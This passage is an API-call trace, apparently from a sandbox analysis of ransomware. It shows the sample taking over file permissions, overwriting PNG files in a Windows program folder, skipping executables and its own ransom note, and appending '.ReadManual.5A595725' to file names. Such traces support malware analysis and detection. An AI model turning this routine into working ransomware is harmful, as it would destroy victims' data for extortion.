returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png" [0258.169] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png.ReadManual.5A595725" [0258.169] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png.ReadManual.5A595725") returned 92 [0258.169] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37883799209) returned 1 [0258.169] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-bullet.png")) returned 0x20 [0258.169] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-bullet.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.170] GetLastError () returned 0x5 [0258.170] GetNamedSecurityInfoW () returned 0x0 [0258.170] SetNamedSecurityInfoW () returned 0x0 [0258.179] SetNamedSecurityInfoW () returned 0x0 [0258.180] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-bullet.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0258.180] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=962) returned 1 [0258.180] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3c2, lpName=0x0) returned 0x1a0 [0258.181] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xc8) returned 1 [0258.181] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.181] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0258.183] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0258.183] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3c2) returned 0x2f0000 [0258.183] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.183] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37885185057) returned 1 [0258.183] CloseHandle (hObject=0x1a0) returned 1 [0258.183] SetSecurityInfo () returned 0x5 [0258.183] SetSecurityInfo () returned 0x5 [0258.183] LocalFree (hMem=0x674d38) returned 0x0 [0258.183] CloseHandle (hObject=0x184) returned 1 [0258.183] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726b5d16, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726b5d16, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="button-highlight.png", cAlternateFileName="")) returned 1 [0258.183] lstrcpyW (in: lpString1=0x6ab90a, lpString2="button-highlight.png" | out: lpString1="button-highlight.png") returned="button-highlight.png" [0258.184] lstrcmpiW (lpString1="button-highlight.png", lpString2="RecoveryManual.html") returned -1 [0258.184] StrStrIW (lpFirst="button-highlight.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.184] StrCmpIW (psz1="png", psz2="exe") returned 1 [0258.184] StrCmpIW (psz1="png", psz2="dll") returned 1 [0258.184] StrCmpIW (psz1="png", psz2="sys") returned -1 [0258.184] StrCmpIW (psz1="png", psz2="msi") returned 1 [0258.184] StrCmpIW (psz1="png", psz2="mui") returned 1 [0258.184] StrCmpIW (psz1="png", psz2="inf") returned 1 [0258.184] StrCmpIW (psz1="png", psz2="cat") returned 1 [0258.184] StrCmpIW (psz1="png", psz2="bat") returned 1 [0258.184] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0258.184] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0258.184] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0258.184] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0258.184] StrCmpIW (psz1="png", psz2="fon") returned 1 [0258.184] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0258.184] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png" [0258.184] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png.ReadManual.5A595725" [0258.184] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png.ReadManual.5A595725") returned 95 [0258.184] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37885281197) returned 1 [0258.184] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-highlight.png")) returned 0x20 [0258.184] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-highlight.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.184] GetLastError () returned 0x5 [0258.184] GetNamedSecurityInfoW () returned 0x0 [0258.185] SetNamedSecurityInfoW () returned 0x0 [0258.185] SetNamedSecurityInfoW () returned 0x0 [0258.186] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-highlight.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0258.186] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=716) returned 1 [0258.186] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2cc, lpName=0x0) returned 0x1a0 [0258.186] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xce) returned 1 [0258.186] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.186] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0258.188] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0258.188] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2cc) returned 0x2f0000 [0258.188] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0258.188] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37885717682) returned 1 [0258.188] CloseHandle (hObject=0x1a0) returned 1 [0258.188] SetSecurityInfo () returned 0x5 [0258.189] SetSecurityInfo () returned 0x5 [0258.189] LocalFree (hMem=0x674d38) returned 0x0 [0258.189] CloseHandle (hObject=0x184) returned 1 [0258.189] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726dbe73, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726dbe73, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5540f3f9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x47c1d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="content-background.png", cAlternateFileName="")) returned 1 [0258.189] lstrcpyW (in: lpString1=0x6ab90a, lpString2="content-background.png" | out: lpString1="content-background.png") returned="content-background.png" [0258.189] lstrcmpiW (lpString1="content-background.png", lpString2="RecoveryManual.html") returned -1 [0258.189] StrStrIW (lpFirst="content-background.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.189] StrCmpIW (psz1="png", psz2="exe") returned 1 [0258.189] StrCmpIW (psz1="png", psz2="dll") returned 1 [0258.189] StrCmpIW (psz1="png", psz2="sys") returned -1 [0258.189] StrCmpIW (psz1="png", psz2="msi") returned 1 [0258.189] StrCmpIW (psz1="png", psz2="mui") returned 1 [0258.189] StrCmpIW (psz1="png", psz2="inf") returned 1 [0258.189] StrCmpIW (psz1="png", psz2="cat") returned 1 [0258.189] StrCmpIW (psz1="png", psz2="bat") returned 1 [0258.189] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0258.189] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0258.189] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0258.189] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0258.189] StrCmpIW (psz1="png", psz2="fon") returned 1 [0258.189] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0258.189] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png" [0258.189] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png.ReadManual.5A595725" [0258.189] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png.ReadManual.5A595725") returned 97 [0258.189] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37885814954) returned 1 [0258.189] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\content-background.png")) returned 0x20 [0258.190] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\content-background.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.190] GetLastError () returned 0x5 [0258.190] GetNamedSecurityInfoW () returned 0x0 [0258.191] SetNamedSecurityInfoW () returned 0x0 [0258.191] SetNamedSecurityInfoW () returned 0x0 [0258.192] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\content-background.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0258.192] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=293917) returned 1 [0258.192] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x47c1d, lpName=0x0) returned 0x1a0 [0258.192] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd2) returned 1 [0258.192] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.192] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0258.194] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0258.195] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x47c1d) returned 0x2690000 [0258.203] UnmapViewOfFile (lpBaseAddress=0x2690000) returned 1 [0258.204] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37887315482) returned 1 [0258.204] CloseHandle (hObject=0x1a0) returned 1 [0258.204] SetSecurityInfo () returned 0x5 [0258.205] SetSecurityInfo () returned 0x5 [0258.205] LocalFree (hMem=0x674d38) returned 0x0 [0258.205] CloseHandle (hObject=0x184) returned 1 [0258.205] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72701fd0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72701fd0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5540f3f9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11276, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="header-background.png", cAlternateFileName="")) returned 1 [0258.205] lstrcpyW (in: lpString1=0x6ab90a, lpString2="header-background.png" | out: lpString1="header-background.png") returned="header-background.png" [0258.205] lstrcmpiW (lpString1="header-background.png", lpString2="RecoveryManual.html") returned -1 [0258.205] StrStrIW (lpFirst="header-background.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.205] StrCmpIW (psz1="png", psz2="exe") returned 1 [0258.205] StrCmpIW (psz1="png", psz2="dll") returned 1 [0258.205] StrCmpIW (psz1="png", psz2="sys") returned -1 [0258.205] StrCmpIW (psz1="png", psz2="msi") returned 1 [0258.205] StrCmpIW (psz1="png", psz2="mui") returned 1 [0258.205] StrCmpIW (psz1="png", psz2="inf") returned 1 [0258.205] StrCmpIW (psz1="png", psz2="cat") returned 1 [0258.205] StrCmpIW (psz1="png", psz2="bat") returned 1 [0258.205] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0258.205] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0258.205] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0258.205] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0258.205] StrCmpIW (psz1="png", psz2="fon") returned 1 [0258.205] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0258.205] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\header-background.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\header-background.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\header-background.png" [0258.205] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\header-background.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\header-background.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\header-background.png.ReadManual.5A595725" [0258.205] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\header-background.png.ReadManual.5A595725") returned 96 [0258.205] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37887412547) returned 1 [0258.205] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\header-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\header-background.png")) returned 0x20 [0258.206] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\header-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\header-background.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.206] GetLastError () returned 0x5 [0258.206] GetNamedSecurityInfoW () returned 0x0 [0258.206] SetNamedSecurityInfoW () returned 0x0 [0258.206] SetNamedSecurityInfoW () returned 0x0 [0258.207] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\header-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\header-background.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0258.207] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=70262) returned 1 [0258.207] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11276, lpName=0x0) returned 0x1a0 [0258.207] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd0) returned 1 [0258.208] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.208] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0258.210] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0258.210] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11276) returned 0x1de0000 [0258.212] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0258.212] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37888286803) returned 1 [0258.214] CloseHandle (hObject=0x1a0) returned 1 [0258.214] SetSecurityInfo () returned 0x5 [0258.214] SetSecurityInfo () returned 0x5 [0258.214] LocalFree (hMem=0x674d38) returned 0x0 [0258.214] CloseHandle (hObject=0x184) returned 1 [0258.214] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72701fd0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72701fd0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3126b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="passport.png", cAlternateFileName="")) returned 1 [0258.214] lstrcpyW (in: lpString1=0x6ab90a, lpString2="passport.png" | out: lpString1="passport.png") returned="passport.png" [0258.215] lstrcmpiW (lpString1="passport.png", lpString2="RecoveryManual.html") returned -1 [0258.215] StrStrIW (lpFirst="passport.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.215] StrCmpIW (psz1="png", psz2="exe") returned 1 [0258.215] StrCmpIW (psz1="png", psz2="dll") returned 1 [0258.215] StrCmpIW (psz1="png", psz2="sys") returned -1 [0258.215] StrCmpIW (psz1="png", psz2="msi") returned 1 [0258.215] StrCmpIW (psz1="png", psz2="mui") returned 1 [0258.215] StrCmpIW (psz1="png", psz2="inf") returned 1 [0258.215] StrCmpIW (psz1="png", psz2="cat") returned 1 [0258.215] StrCmpIW (psz1="png", psz2="bat") returned 1 [0258.215] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0258.215] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0258.215] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0258.215] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0258.215] StrCmpIW (psz1="png", psz2="fon") returned 1 [0258.215] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0258.215] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport.png" [0258.215] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport.png.ReadManual.5A595725" [0258.215] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport.png.ReadManual.5A595725") returned 87 [0258.215] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37888382381) returned 1 [0258.215] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.png")) returned 0x20 [0258.215] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0258.215] GetLastError () returned 0x5 [0258.215] GetNamedSecurityInfoW () returned 0x0 [0258.216] SetNamedSecurityInfoW () returned 0x0 [0258.216] SetNamedSecurityInfoW () returned 0x0 [0258.217] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0258.217] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=201323) returned 1 [0258.217] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3126b, lpName=0x0) returned 0x1a0 [0258.217] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0258.217] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0258.218] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0258.219] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0258.219] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3126b) returned 0x2690000 [0258.225] UnmapViewOfFile (lpBaseAddress=0x2690000) returned 1 [0258.226] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37889475020) returned 1 [0258.226] CloseHandle (hObject=0x1a0) returned 1 [0258.226] SetSecurityInfo () returned 0x5 [0258.226] SetSecurityInfo () returned 0x5 [0258.226] LocalFree (hMem=0x674d38) returned 0x0 [0258.226] CloseHandle (hObject=0x184) returned 1 [0258.226] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7272812d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7272812d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x10e94, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Passport.wmv", cAlternateFileName="")) returned 1 [0258.226] lstrcpyW (in: lpString1=0x6ab90a, lpString2="Passport.wmv" | out: lpString1="Passport.wmv") returned="Passport.wmv" [0258.226] lstrcmpiW (lpString1="Passport.wmv", lpString2="RecoveryManual.html") returned -1 [0258.226] StrStrIW (lpFirst="Passport.wmv", lpSrch=".ReadManual.5A595725") returned 0x0 [0258.226] StrCmpIW (psz1="wmv", psz2="exe") returned 1 [0258.226] StrCmpIW (psz1="wmv", psz2="dll") returned 1 [0258.227] StrCmpIW (psz1="wmv", psz2="sys") returned 